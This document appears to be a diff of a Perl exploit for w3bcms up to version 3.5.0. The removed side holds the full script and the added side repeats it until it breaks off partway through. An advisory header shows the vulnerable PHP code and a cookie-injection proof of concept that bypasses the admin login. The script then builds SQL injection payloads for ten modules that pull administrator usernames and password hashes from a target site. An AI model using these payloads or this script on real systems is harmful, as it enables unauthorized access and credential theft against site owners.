-#    |     _____/ /_____ ______/ /_  __  ______ ______  |
-#    |    / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/  |
-#    |   (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )   |
-#    |  /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/    |
-#    |  Security Research Division      /____/ 2oo9     |
-#    ----------------------------------------------------
-#    | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |
-#    |        (requires magic_quotes_gpc = Off)         |
-#    ----------------------------------------------------
-# [!] Discovered.: DNX
-# [!] Vendor.....: http://www.w3bcms.de
-# [!] Detected...: 11.01.2009
-# [!] Reported...: 17.01.2009
-# [!] Response...: 19.01.2009
-#
-# [!] Background.: CMS features in the frontend:
-#                  » Ausgabe angelegter Seiten
-#                  » Integrierter sicherer Spamschutz (kein Captcha!)
-#                  » CMS Features wie Slogan Rotation, Datumausgabe, Seitenanzeige
-#                  » Integrierter Besuchercounter (versteckt/sichtbar)
-#               <b>» Sicherheit gegen Hackangriffe</b>
-#                  » Schnelle Datenbankabfragen
-#                  » 100% Suchmaschinenoptimiert (SEO)
-#                  » Erweiterbar durch Module & Addons
-#                  » UnterstĂ¼tzt Mod Rewrite URL's (optional)
-#
-#
-# [!] Info.......: Insecure Cookie Handling in Admin Backend Login
-# [!] Bug........: $_COOKIE["cms_admin"] in admin/index.php near line 67
-#
-#                  67: if ($_COOKIE["cms_admin"] != "") {
-#                  68: 
-#                  69:         $admin = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE cookie='".$_COOKIE["cms_admin"]."'"));
-#                  70: 
-#                  71:         if ($admin['benutzername'] != "") {
-#                  72: 
-#                  73:                 $_SESSION['login'] = true;
-#                  74:                 header("Location: inc/index.php?seite=uebersicht");
-#                  75:                 exit;
-#                  76: 
-#                  77:         }
-#                  78: 
-#                  79: }
-#
-# [!] PoC........: javascript:document.cookie = "cms_admin=' or '1'='1; path=/";
-#
-#
-# [!] Info.......: Downloads module v1.5.0
-# [!] Bug........: $_GET['id'] in includes/module/downloads/index.inc.php near line 15
-#
-#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
-#                  16: 
-#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_downloads WHERE id='".$_GET['id']."'"));
-#                  18:         mysql_query("UPDATE modul_downloads SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
-#                  19:         $url = preg_replace('(%PAGE_DIR%)', $settings['page_dir'], $data['url']);
-#                  20:         header("Location: ".$url."");
-#                  21:         exit;
-#                  22: 
-#                  23: }
-#
-#
-# [!] Info.......: News module v1.5.0
-# [!] Bug........: $_GET['action'] in includes/module/news/index.inc.php near line 131
-#
-#                  131: $kcheck = eregi ("kommentar", $_GET['action']);
-#
-#                  135: if ($kcheck == "1") {
-#                  136: 
-#                  137:         $str = $_GET['action'];
-#                  138:         $explode = explode(".",$str);
-#                  139: 
-#                  140:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_news WHERE id='".$explode[0]."' AND status='0'"));
-#
-#
-# [!] Info.......: Portfolio module v2.0.0
-# [!] Bug........: $_GET['action'] in includes/module/portfolio/index.inc.php near line 75
-#
-#                  75: $kcheck = eregi ("show", $_GET['action']);
-#                  76: 
-#                  77: if ($kcheck == "1") {
-#                  78: 
-#                  79:         $str = $_GET['action'];
-#                  80:         $explode = explode(".",$str);
-#                  81: 
-#                  82:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_portfolio WHERE id='".$explode[0]."'"));
-#
-#
-# [!] Info.......: Partner module v1.5.0
-# [!] Bug........: $_GET['id'] in includes/module/partner/index.inc.php near line 15
-#
-#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
-#                  16: 
-#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_partner WHERE id='".$_GET['id']."'"));
-#                  18:         mysql_query("UPDATE modul_partner SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
-#                  19: 
-#                  20:         header("Location: ".$data['url']."");
-#                  21:         exit;
-#                  22: 
-#                  23: }
-#
-#
-# [!] Info.......: Mediathek module v1.5.0
-# [!] Bug........: $_GET['id'] in includes/module/mediathek/index.inc.php near line 15
-#
-#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
-#                  16: 
-#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_mediathek WHERE id='".$_GET['id']."'"));
-#                  18:         mysql_query("UPDATE modul_mediathek SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
-#                  19: 
-#                  20:         $mediafile = $settings['page_dir']."/includes/media/".$data['mediafile'];
-#                  21:
-#                  22:         header("Location: ".$mediafile."");
-#                  23:         exit;
-#                  24:
-#                  25: }
-#
-#
-# [!] Info.......: Sitemap module v1.5.0
-# [!] Bug........: $_GET['seite'] in includes/module/sitemap/index.inc.php near line 15
-#
-#                  15: $explode = explode(".",$_GET['seite']);
-#
-#                  19: $menu = mysql_query("SELECT * FROM pages WHERE submenu='0' AND aktiv='0' AND hidden='0' AND id!='".$explode['0']."' ORDER by sortierung");
-#
-#
-# [!] Info.......: Links module v1.5.0
-# [!] Bug........: $_GET['id'] in includes/module/links/index.inc.php near line 15
-#
-#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
-#                  16: 
-#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_links WHERE id='".$_GET['id']."'"));
-#                  18:         mysql_query("UPDATE modul_links SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
-#                  19:         header("Location: ".$data['url']."");
-#                  20:         exit;
-#                  21: 
-#                  22: }
-#
-#
-# [!] Info.......: Blog module v1.5.0
-# [!] Bug........: $_GET['action'] in includes/module/blog/index.inc.php near line 133
-#
-#                  131: $kcheck = eregi ("kommentar", $_GET['action']);
-#
-#                  135: if ($kcheck == "1") {
-#                  136: 
-#                  137:         $str = $_GET['action'];
-#                  138:         $explode = explode(".",$str);
-#                  139: 
-#                  140:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_blog WHERE id='".$explode[0]."' AND status='0'"));
-#
-#
-# [!] Info.......: Suche module v1.5.0
-# [!] Bug........: $_POST['suchbegriff'] in includes/module/suche/index.inc.php near line 66
-#
-#                  66: $eingabe = trim(strip_tags($_POST['suchbegriff']));
-#                  67: $eingabe_array = explode(" ", $eingabe);
-#                  68: $eingabe_array = array_unique($eingabe_array);
-#                  69: 
-#                  70: if ($eingabe == "" || $_POST['suchbegriff'] == "Suchbegriff(e) ..."){
-#                  71: 
-#                  72:         echo "<p>Fehler - Bitte <b>mindestens ein Suchbegriff</b> eingegeben!</p>";
-#                  73: 
-#                  74: } else {
-#                  
-#                  78:         $query_pages = "SELECT id, titel, inhalt, page FROM pages WHERE ";
-#                  79: 
-#                  80:         for ($i=0; $i<count($eingabe_array); $i++) {
-#                  81: 
-#                  82:                 $query_pages .= "((titel LIKE '%" . $eingabe_array[$i] . "%') OR (inhalt LIKE '%" . $eingabe_array[$i] . "%'))";
-#                  83: 
-#                  84:                 if ($i<count($eingabe_array)-1){
-#                  85: 
-#                  86:                         $query_pages .= " AND ";
-#                  87: 
-#                  88:                 }
-#                  89: 
-#                  90:                 $query_pages .= "AND type!='modul' AND type!='extern' AND inhalt!='' AND aktiv='0'";
-#                  91: 
-#                  92:         }
-#                  93: 
-#                  94:         $num_rows_pages = @mysql_num_rows(mysql_query($query_pages));
-#                  95:         $result_pages = @mysql_query($query_pages);
-#
-#
-# [!] Info.......: Gallery module v1.5.0
-# [!] Bug........: $_GET['action'] in includes/module/gallery/index.inc.php near line 314
-#
-#                  314: } else if ($locate == "1" && isset($_GET['action']) && isset($_GET['id']) && $_GET['id'] != "") {
-#                  
-#                  320:         $explode = explode(".",$_GET['action']);
-#                  
-#                  324:         $album = mysql_query("SELECT * FROM modul_gallery WHERE album_id='".$explode[0]."' ORDER by id ".$sqlorder." LIMIT $zeige,$trefferproseite");
-#
-#
-# [!] Solution...: Upgrade to v3.5.1 or higher and update all modules
-#
-
-if(!$ARGV[2])
-{
-  print "\n                          \\#'#/                       ";
-  print "\n                          (-.-)                        ";
-  print "\n   ------------------oOO---(_)---OOo-------------------";
-  print "\n   | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |";
-  print "\n   |                  coded by DNX                    |";
-  print "\n   ----------------------------------------------------";
-  print "\n[!] Usage: perl w3blabor.pl [Target] <Options>";
-  print "\n[!] Example: perl w3blabor.pl -1 -u \"http://127.0.0.1/w3b/index.php?seite=2.down&action=klick&id=1\"";
-  print "\n[!] Targets:";
-  print "\n       -1              Exploit over Downloads module v1.5.0";
-  print "\n       -2              Exploit over News module v1.5.0";
-  print "\n       -3              Exploit over Portfolio module v2.0.0";
-  print "\n       -4              Exploit over Partner module v1.5.0";
-  print "\n       -5              Exploit over Mediathek module v1.5.0";
-  print "\n       -6              Exploit over Sitemap module v1.5.0";
-  print "\n       -7              Exploit over Links module v1.5.0";
-  print "\n       -8              Exploit over Blog module v1.5.0";
-  print "\n       -9              Exploit over Suche module v1.5.0";
-  print "\n       -10             Exploit over Gallery module v1.5.0";
-  print "\n[!] Options:";
-  print "\n       -u [url]        URL to vuln website";
-  print "\n       -p [ip:port]    Proxy support";
-  print "\n";
-  exit;
-}
-
-my $ua       = LWP::UserAgent->new();
-my $response = "";
-my %options  = ();
-GetOptions(\%options, "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "u=s", "p=s");
-
-if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }
-
-if($options{"1"}) { use_download_bug(); }
-elsif($options{"2"}) { use_news_bug(); }
-elsif($options{"3"}) { use_portfolio_bug(); }
-elsif($options{"4"}) { use_partner_bug(); }
-elsif($options{"5"}) { use_mediathek_bug(); }
-elsif($options{"6"}) { use_sitemap_bug(); }
-elsif($options{"7"}) { use_links_bug(); }
-elsif($options{"8"}) { use_blog_bug(); }
-elsif($options{"9"}) { use_suche_bug(); }
-elsif($options{"10"}) { use_gallery_bug(); }
-
-sub use_download_bug
-{
-  my $url_user = $options{"u"};
-  my $url_pass = $options{"u"};
-  my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";
-  my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";
-  
-  $url_user =~ s/id=\d+/$exploit_user/i;
-  $response = $ua->get($url_user);
-  $response->base =~ /.*\/(.*?)$/;
-  my $user = $1;
-  
-  $url_pass =~ s/id=\d+/$exploit_pass/i;
-  $response = $ua->get($url_pass);
-  $response->base =~ /.*\/(.*?)$/;
-  my $pass = $1;  
-  
-  print $user.":".$pass;
-}
-
-sub use_news_bug
-{
-  my $url = $options{"u"};
-  my $exploit = "action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*";
-  $url =~ s/action=\d+/$exploit/i;
-  $response = $ua->get($url);
-  if($response->content =~ /<p class="titel">(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)
-  {
-    print $1.":".$2;
-  }
-}
-
-sub use_portfolio_bug
-{
-  my $url = $options{"u"};
-  my $exploit = "action='%20union%20select%201,2,passwort,benutzername,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20limit 1/*";
-  $url =~ s/action=\d+/$exploit/i;
-  $response = $ua->get($url);
-  if($response->content =~ /<h1>([a-fA-F0-9]{32})<\/h1>.*?<p align="justify">(.*?)<\/p>/s)
-  {
-    print $2.":".$1;
-  }
-}
-
-sub use_partner_bug
-{
-  my $url_user = $options{"u"};
-  my $url_pass = $options{"u"};
-  my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";
-  my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";
-  
-  $url_user =~ s/id=\d+/$exploit_user/i;
-  $response = $ua->get($url_user);
-  $response->base =~ /.*\/(.*?)$/;
-  my $user = $1;
-  
-  $url_pass =~ s/id=\d+/$exploit_pass/i;
-  $response = $ua->get($url_pass);
-  $response->base =~ /.*\/(.*?)$/;
-  my $pass = $1;  
-  
-  print $user.":".$pass;
-}
-
-sub use_mediathek_bug
-{
-  my $url_user = $options{"u"};
-  my $url_pass = $options{"u"};
-  my $exploit_user = "id='%20union%20select 1,2,benutzername,4%20from%20admin%20limit%201/*";
-  my $exploit_pass = "id='%20union%20select 1,2,passwort,4%20from%20admin%20limit%201/*";
-  
-  $url_user =~ s/id=\d+/$exploit_user/i;
-  $response = $ua->get($url_user);
-  $response->base =~ /.*\/(.*?)$/;
-  my $user = $1;
-  
-  $url_pass =~ s/id=\d+/$exploit_pass/i;
-  $response = $ua->get($url_pass);
-  $response->base =~ /.*\/(.*?)$/;
-  my $pass = $1;  
-  
-  print $user.":".$pass;
-}
-
-sub use_sitemap_bug
-{
-  my $url = $options{"u"};
-  $url =~ /seite=(\d+)\./;
-  my $id = $1;
-  my $exploit = "seite=".$id."'%20union%20select%201,benutzername,passwort,4,5,6,7,8,9,10,11,12,13,14,15%20from%20admin%20/*";
-  $url =~ s/seite=\d+/$exploit/i;
-  $response = $ua->get($url);
-  if($response->content =~ /<strong>$id\.<\/strong>.*?<a href="index\.php\?seite=1\.(.*?)" title="(.*?)"/s)
-  {
-    print $1.":".$2;
-  }
-}
-
-sub use_links_bug
-{
-  my $url_user = $options{"u"};
-  my $url_pass = $options{"u"};
-  my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";
-  my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";
-  
-  $url_user =~ s/id=\d+/$exploit_user/i;
-  $response = $ua->get($url_user);
-  $response->base =~ /.*\/(.*?)$/;
-  my $user = $1;
-  
-  $url_pass =~ s/id=\d+/$exploit_pass/i;
-  $response = $ua->get($url_pass);
-  $response->base =~ /.*\/(.*?)$/;
-  my $pass = $1;  
-  
-  print $user.":".$pass;
-}
-
-sub use_blog_bug
-{
-  my $url = $options{"u"};
-  my $exploit = "action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*";
-  $url =~ s/action=\d+/$exploit/i;
-  $response = $ua->get($url);
-  if($response->content =~ /<p class="titel">(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)
-  {
-    print $1.":".$2;
-  }
-}
-
-sub use_suche_bug
-{
-  my $url = $options{"u"}."&action=senden";
-  my $search = "###___###%'))/**/union/**/select/**/1,benutzername,passwort,4/**/from/**/admin/*";
-  my $req = POST $url, [suchbegriff => $search];
-  my $response = $ua->request($req);
-  
-  if($response->content =~ /.*">(.*?)<\/a><br \/>([a-fA-F0-9]{32}) \[/s)
-  {
-    print $1.":".$2;
-  }
-}
-
-sub use_gallery_bug
-{
-  my $url = $options{"u"};
-  my $exploit = "action='%20union%20select%201,2,passwort,4,benutzername,6%20from%20admin/*";
-  $url =~ s/action=\d+/$exploit/i;
-  $response = $ua->get($url);
-  my @content = split(/\n/, $response->content);
-  foreach (@content)
-  {
-    if($_ =~ /\/([a-fA-F0-9]{32})" rel="lytebox\[.*?\]" title="(.*?)"/)
-    {
-      print $2.":".$1."\n";
-    }
-  }
-}
-
-# milw0rm.com [2009-02-09]
+#!/usr/bin/perl
+use LWP::UserAgent;
+use HTTP::Request::Common qw(POST);
+use Getopt::Long;
+
+#                            \#'#/
+#                            (-.-)
+#    -------------------oOO---(_)---OOo------------------
+#    |           __             __                      |
+#    |     _____/ /_____ ______/ /_  __  ______ ______  |
+#    |    / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/  |
+#    |   (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )   |
+#    |  /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/    |
+#    |  Security Research Division      /____/ 2oo9     |
+#    ----------------------------------------------------
+#    | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |
+#    |        (requires magic_quotes_gpc = Off)         |
+#    ----------------------------------------------------
+# [!] Discovered.: DNX
+# [!] Vendor.....: http://www.w3bcms.de
+# [!] Detected...: 11.01.2009
+# [!] Reported...: 17.01.2009
+# [!] Response...: 19.01.2009
+#
+# [!] Background.: CMS features in the frontend:
+#                  » Ausgabe angelegter Seiten
+#                  » Integrierter sicherer Spamschutz (kein Captcha!)
+#                  » CMS Features wie Slogan Rotation, Datumausgabe, Seitenanzeige
+#                  » Integrierter Besuchercounter (versteckt/sichtbar)
+#               <b>» Sicherheit gegen Hackangriffe</b>
+#                  » Schnelle Datenbankabfragen
+#                  » 100% Suchmaschinenoptimiert (SEO)
+#                  » Erweiterbar durch Module & Addons
+#                  » UnterstĂ¼tzt Mod Rewrite URL's (optional)
+#
+#
+# [!] Info.......: Insecure Cookie Handling in Admin Backend Login
+# [!] Bug........: $_COOKIE["cms_admin"] in admin/index.php near line 67
+#
+#                  67: if ($_COOKIE["cms_admin"] != "") {
+#                  68: 
+#                  69:         $admin = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE cookie='".$_COOKIE["cms_admin"]."'"));
+#                  70: 
+#                  71:         if ($admin['benutzername'] != "") {
+#                  72: 
+#                  73:                 $_SESSION['login'] = true;
+#                  74:                 header("Location: inc/index.php?seite=uebersicht");
+#                  75:                 exit;
+#                  76: 
+#                  77:         }
+#                  78: 
+#                  79: }
+#
+# [!] PoC........: javascript:document.cookie = "cms_admin=' or '1'='1; path=/";
+#
+#
+# [!] Info.......: Downloads module v1.5.0
+# [!] Bug........: $_GET['id'] in includes/module/downloads/index.inc.php near line 15
+#
+#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
+#                  16: 
+#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_downloads WHERE id='".$_GET['id']."'"));
+#                  18:         mysql_query("UPDATE modul_downloads SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
+#                  19:         $url = preg_replace('(%PAGE_DIR%)', $settings['page_dir'], $data['url']);
+#                  20:         header("Location: ".$url."");
+#                  21:         exit;
+#                  22: 
+#                  23: }
+#
+#
+# [!] Info.......: News module v1.5.0
+# [!] Bug........: $_GET['action'] in includes/module/news/index.inc.php near line 131
+#
+#                  131: $kcheck = eregi ("kommentar", $_GET['action']);
+#
+#                  135: if ($kcheck == "1") {
+#                  136: 
+#                  137:         $str = $_GET['action'];
+#                  138:         $explode = explode(".",$str);
+#                  139: 
+#                  140:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_news WHERE id='".$explode[0]."' AND status='0'"));
+#
+#
+# [!] Info.......: Portfolio module v2.0.0
+# [!] Bug........: $_GET['action'] in includes/module/portfolio/index.inc.php near line 75
+#
+#                  75: $kcheck = eregi ("show", $_GET['action']);
+#                  76: 
+#                  77: if ($kcheck == "1") {
+#                  78: 
+#                  79:         $str = $_GET['action'];
+#                  80:         $explode = explode(".",$str);
+#                  81: 
+#                  82:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_portfolio WHERE id='".$explode[0]."'"));
+#
+#
+# [!] Info.......: Partner module v1.5.0
+# [!] Bug........: $_GET['id'] in includes/module/partner/index.inc.php near line 15
+#
+#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
+#                  16: 
+#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_partner WHERE id='".$_GET['id']."'"));
+#                  18:         mysql_query("UPDATE modul_partner SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
+#                  19: 
+#                  20:         header("Location: ".$data['url']."");
+#                  21:         exit;
+#                  22: 
+#                  23: }
+#
+#
+# [!] Info.......: Mediathek module v1.5.0
+# [!] Bug........: $_GET['id'] in includes/module/mediathek/index.inc.php near line 15
+#
+#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
+#                  16: 
+#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_mediathek WHERE id='".$_GET['id']."'"));
+#                  18:         mysql_query("UPDATE modul_mediathek SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
+#                  19: 
+#                  20:         $mediafile = $settings['page_dir']."/includes/media/".$data['mediafile'];
+#                  21:
+#                  22:         header("Location: ".$mediafile."");
+#                  23:         exit;
+#                  24:
+#                  25: }
+#
+#
+# [!] Info.......: Sitemap module v1.5.0
+# [!] Bug........: $_GET['seite'] in includes/module/sitemap/index.inc.php near line 15
+#
+#                  15: $explode = explode(".",$_GET['seite']);
+#
+#                  19: $menu = mysql_query("SELECT * FROM pages WHERE submenu='0' AND aktiv='0' AND hidden='0' AND id!='".$explode['0']."' ORDER by sortierung");
+#
+#
+# [!] Info.......: Links module v1.5.0
+# [!] Bug........: $_GET['id'] in includes/module/links/index.inc.php near line 15
+#
+#                  15: if (isset($_GET['action']) && $_GET['action'] == "klick") {
+#                  16: 
+#                  17:         $data = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_links WHERE id='".$_GET['id']."'"));
+#                  18:         mysql_query("UPDATE modul_links SET klicks=klicks+1 WHERE id='".$_GET['id']."'");
+#                  19:         header("Location: ".$data['url']."");
+#                  20:         exit;
+#                  21: 
+#                  22: }
+#
+#
+# [!] Info.......: Blog module v1.5.0
+# [!] Bug........: $_GET['action'] in includes/module/blog/index.inc.php near line 133
+#
+#                  131: $kcheck = eregi ("kommentar", $_GET['action']);
+#
+#                  135: if ($kcheck == "1") {
+#                  136: 
+#                  137:         $str = $_GET['action'];
+#                  138:         $explode = explode(".",$str);
+#                  139: 
+#                  140:         $ausgabe = mysql_fetch_assoc(mysql_query("SELECT * FROM modul_blog WHERE id='".$explode[0]."' AND status='0'"));
+#
+#
+# [!] Info.......: Suche module v1.5.0
+# [!] Bug........: $_POST['suchbegriff'] in includes/module/suche/index.inc.php near line 66
+#
+#                  66: $eingabe = trim(strip_tags($_POST['suchbegriff']));
+#                  67: $eingabe_array = explode(" ", $eingabe);
+#                  68: $eingabe_array = array_unique($eingabe_array);
+#                  69: 
+#                  70: if ($eingabe == "" || $_POST['suchbegriff'] == "Suchbegriff(e) ..."){
+#                  71: 
+#                  72:         echo "<p>Fehler - Bitte <b>mindestens ein Suchbegriff</b> eingegeben!</p>";
+#                  73: 
+#                  74: } else {
+#                  
+#                  78:         $query_pages = "SELECT id, titel, inhalt, page FROM pages WHERE ";
+#                  79: 
+#                  80:         for ($i=0; $i<count($eingabe_array); $i++) {
+#                  81: 
+#                  82:                 $query_pages .= "((titel LIKE '%" . $eingabe_array[$i] . "%') OR (inhalt LIKE '%" . $eingabe_array[$i] . "%'))";
+#                  83: 
+#                  84:                 if ($i<count($eingabe_array)-1){
+#                  85: 
+#                  86:                         $query_pages .= " AND ";
+#                  87: 
+#                  88:                 }
+#                  89: 
+#                  90:                 $query_pages .= "AND type!='modul' AND type!='extern' AND inhalt!='' AND aktiv='0'";
+#                  91: 
+#                  92:         }
+#                  93: 
+#                  94:         $num_rows_pages = @mysql_num_rows(mysql_query($query_pages));
+#                  95:         $result_pages = @mysql_query($query_pages);
+#
+#
+# [!] Info.......: Gallery module v1.5.0
+# [!] Bug........: $_GET['action'] in includes/module/gallery/index.inc.php near line 314
+#
+#                  314: } else if ($locate == "1" && isset($_GET['action']) && isset($_GET['id']) && $_GET['id'] != "") {
+#                  
+#                  320:         $explode = explode(".",$_GET['action']);
+#                  
+#                  324:         $album = mysql_query("SELECT * FROM modul_gallery WHERE album_id='".$explode[0]."' ORDER by id ".$sqlorder." LIMIT $zeige,$trefferproseite");
+#
+#
+# [!] Solution...: Upgrade to v3.5.1 or higher and update all modules
+#
+
+if(!$ARGV[2])
+{
+  print "\n                          \\#'#/                       ";
+  print "\n                          (-.-)                        ";
+  print "\n   ------------------oOO---(_)---OOo-------------------";
+  print "\n   | w3bcms <= v3.5.0 Multiple Remote Vulnerabilities |";
+  print "\n   |                  coded by DNX                    |";
+  print "\n   ----------------------------------------------------";
+  print "\n[!] Usage: perl w3blabor.pl [Target] <Options>";
+  print "\n[!] Example: perl w3blabor.pl -1 -u \"http://127.0.0.1/w3b/index.php?seite=2.down&action=klick&id=1\"";
+  print "\n[!] Targets:";
+  print "\n       -1              Exploit over Downloads module v1.5.0";
+  print "\n       -2              Exploit over News module v1.5.0";
+  print "\n       -3              Exploit over Portfolio module v2.0.0";
+  print "\n       -4              Exploit over Partner module v1.5.0";
+  print "\n       -5              Exploit over Mediathek module v1.5.0";
+  print "\n       -6              Exploit over Sitemap module v1.5.0";
+  print "\n       -7              Exploit over Links module v1.5.0";
+  print "\n       -8              Exploit over Blog module v1.5.0";
+  print "\n       -9              Exploit over Suche module v1.5.0";
+  print "\n       -10             Exploit over Gallery module v1.5.0";
+  print "\n[!] Options:";
+  print "\n       -u [url]        URL to vuln website";
+  print "\n       -p [ip:port]    Proxy support";
+  print "\n";
+  exit;
+}
+
+my $ua       = LWP::UserAgent->new();
+my $response = "";
+my %options  = ();
+GetOptions(\%options, "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "u=s", "p=s");
+
+if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }
+
+if($options{"1"}) { use_download_bug(); }
+elsif($options{"2"}) { use_news_bug(); }
+elsif($options{"3"}) { use_portfolio_bug(); }
+elsif($options{"4"}) { use_partner_bug(); }
+elsif($options{"5"}) { use_mediathek_bug(); }
+elsif($options{"6"}) { use_sitemap_bug(); }
+elsif($options{"7"}) { use_links_bug(); }
+elsif($options{"8"}) { use_blog_bug(); }
+elsif($options{"9"}) { use_suche_bug(); }
+elsif($options{"10"}) { use_gallery_bug(); }
+
+sub use_download_bug
+{
+  my $url_user = $options{"u"};
+  my $url_pass = $options{"u"};
+  my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";
+  my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";
+  
+  $url_user =~ s/id=\d+/$exploit_user/i;
+  $response = $ua->get($url_user);
+  $response->base =~ /.*\/(.*?)$/;
+  my $user = $1;
+  
+  $url_pass =~ s/id=\d+/$exploit_pass/i;
+  $response = $ua->get($url_pass);
+  $response->base =~ /.*\/(.*?)$/;
+  my $pass = $1;  
+  
+  print $user.":".$pass;
+}
+
+sub use_news_bug
+{
+  my $url = $options{"u"};
+  my $exploit = "action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*";
+  $url =~ s/action=\d+/$exploit/i;
+  $response = $ua->get($url);
+  if($response->content =~ /<p class="titel">(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)
+  {
+    print $1.":".$2;
+  }
+}
+
+sub use_portfolio_bug
+{
+  my $url = $options{"u"};
+  my $exploit = "action='%20union%20select%201,2,passwort,benutzername,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20limit 1/*";
+  $url =~ s/action=\d+/$exploit/i;
+  $response = $ua->get($url);
+  if($response->content =~ /<h1>([a-fA-F0-9]{32})<\/h1>.*?<p align="justify">(.*?)<\/p>/s)
+  {
+    print $2.":".$1;
+  }
+}
+
+sub use_partner_bug
+{
+  my $url_user = $options{"u"};
+  my $url_pass = $options{"u"};
+  my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";
+  my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";
+  
+  $url_user =~ s/id=\d+/$exploit_user/i;
+  $response = $ua->get($url_user);
+  $response->base =~ /.*\/(.*?)$/;
+  my $user = $1;
+  
+  $url_pass =~ s/id=\d+/$exploit_pass/i;
+  $response = $ua->get($url_pass);
+  $response->base =~ /.*\/(.*?)$/;
+  my $pass = $1;  
+  
+  print $user.":".$pass;
+}
+
+sub use_mediathek_bug
+{
+  my $url_user = $options{"u"};
+  my $url_pass = $options{"u"};
+  my $exploit_user = "id='%20union%20select 1,2,benutzername,4%20from%20admin%20limit%201/*";
+  my $exploit_pass = "id='%20union%20select 1,2,passwort,4%20from%20admin%20limit%201/*";
+  
+  $url_user =~ s/id=\d+/$exploit_user/i;
+  $response = $ua->get($url_user);
+  $response->base =~ /.*\/(.*?)$/;
+  my $user = $1;
+  
+  $url_pass =~ s/id=\d+/$exploit_pass/i;
+  $response = $ua->get($url_pass);
+  $response->base =~ /.*\/(.*?)$/;
+  my $pass = $1;  
+  
+  print $user.":".$pass;
+}
+
+sub use_sitemap_bug
+{
+  my $url = $options{"u"};
+  $url =~ /seite=(\d+)\./;
+  my $id = $1;
+  my $exploit = "seite=".$id."'%20union%20select%201,benutzername,passwort,4,5,6,7,8,9,10,11,12,13,14,15%20from%20admin%20/*";
+  $url =~ s/seite=\d+/$exploit/i;
+  $response = $ua->get($url);
+  if($response->content =~ /<strong>$id\.<\/strong>.*?<a href="index\.php\?seite=1\.(.*?)" title="(.*?)"/s)
+  {
+    print $1.":".$2;
+  }
+}
+
+sub use_links_bug
+{
+  my $url_user = $options{"u"};
+  my $url_pass = $options{"u"};
+  my $exploit_user = "id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*";
+  my $exploit_pass = "id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*";
+  
+  $url_user =~ s/id=\d+/$exploit_user/i;
+  $response = $ua->get($url_user);
+  $response->base =~ /.*\/(.*?)$/;
+  my $user = $1;
+  
+  $url_pass =~ s/id=\d+/$exploit_pass/i;
+  $response = $ua->get($url_pass);
+  $response->base =~ /.*\/(.*?)$/;
+  my $pass = $1;  
+  
+  print $user.":".$pass;
+}
+
+sub use_blog_bug
+{
+  my $url = $options{"u"};
+  my $exploit = "action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*";
+  $url =~ s/action=\d+/$exploit/i;
+  $response = $ua->get($url);
